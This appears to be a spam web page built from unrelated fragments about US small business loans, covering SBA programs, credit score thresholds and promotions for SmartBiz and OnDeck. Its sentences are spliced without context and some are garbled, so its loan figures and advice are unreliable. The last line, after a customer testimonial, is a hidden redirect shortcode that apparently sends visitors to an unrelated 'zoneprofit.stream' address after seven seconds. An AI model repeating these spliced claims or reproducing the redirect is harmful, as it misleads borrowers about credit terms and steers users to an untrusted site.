Obtaining a small business loan essentially enables you to effectively run all aspects of your business, minimizing any disruption during slow periods and giving you cash flow options if you’re ready to take your company to the next level.
That’s why Melissa came to BFS initially, to get the capital she needed to open her salon’s doors. It’s also what has kept her coming back every time she’s ready to grow, adding more space to better serve her growing clientele.
Before applying for an SBA Disaster Loan, verify that the disaster impacting your business qualifies for SBA Disaster loan support by checking the SBA’s disaster database. If believe you’ll qualify, apply for an SBA disaster assistance loan online at the SBA’s website.
The government-guaranteed SBA loan program works with banks to offer low interest rates and long-term repayment. But the process is time-consuming, and the requirements are strict. Only those with good personal credit (690 or higher, although some SBA lenders may have lower score requirements), strong business finances and the flexibility to wait for funding should apply.
Meeting a lender’s minimum qualifications and requirements will make you a stronger applicant. Some lenders may offer some flexibility if you’re underperforming in one area but overperforming in another, but your best chance of getting approved is meeting or exceeding all of their minimums.
Even though these particular loans are being taken out at amazing rates, a lot of small business owners still have a number of questions when it comes to borrowing money to cover their small business needs.
For example, it can put more weight on your business credit profile or more on your personal. It’s also a very “smart” business credit scoring model because it will automatically go from one business credit bureau to another, in whatever order of priority the lender prefers, until it’s able to generate a score.
Our working capital needs calculator will help you determine how much of a small business loan or of credit you should apply for to cover working capital needs for the next year. Simply enter your desired annual growth rate, current assets, and current liabilities, and your target current ratio to find out what you need.
Disclaimer: We spend hours researching and writing our articles and strive to provide accurate, up-to-date content. However, our research is meant to aid your own, and we are not acting as licensed professionals. We recommend that you consult with your own lawyer, accountant, or other licensed professional for relevant business decisions. Click here to see our full disclaimer.
The SBA International Trade Loan (ITL) can be used to buy, renovate, or repurpose facilities and/or equipment located in the U.S. in order to expand into new or existing foreign markets. This loan can also be used to to refinance existing debt.
The partner institutions set their own interest rates according to the creditworthiness of the borrower and the specifics of the startup or small business. However, on average, the interest rates range from 8% -13%.
This is not a guaranteed offer of credit. Loans subject to lender approval. Approval amount is based on eligibility determined by information obtained from Dun & Bradstreet. Actual eligibility may vary. Restrictions may apply. Application is subject to approval by the lender and is based on factors such as business type, time in business, annual sales, average bank balances, personal credit and other variables deemed relevant by the lender.
If you have a credit score above 680 (check here for free), have been in business for 2 years, are profitable, and need up to $350K, we recommend applying with SmartBiz for a streamlined SBA 7a loan. They can get you funded in as quick as 30 days.
SBA Economic Injury Disaster Loans (EIDLs): Short- to medium-term working capital loans to help businesses that have suffered significant economic injury meet normal operating expenses. Do not need to be a for-profit business.
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The only thing you aren’t able to use the SBA Microloan proceeds for is real estate and refinancing debt. That said, how you plan to use the proceeds of the loan will be closely scrutinized by the nonprofit intermediary lender and can have an impact on approval.
“OnDeck’s process was very streamlined. I called them up, told them what I wanted to do, filled out some paper work, and within a couple days I had the money deposited in my bank account. I highly recommend OnDeck to any small business looking to grow. It has been very good for us — my business has grown 59% since I started working with OnDeck.” [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]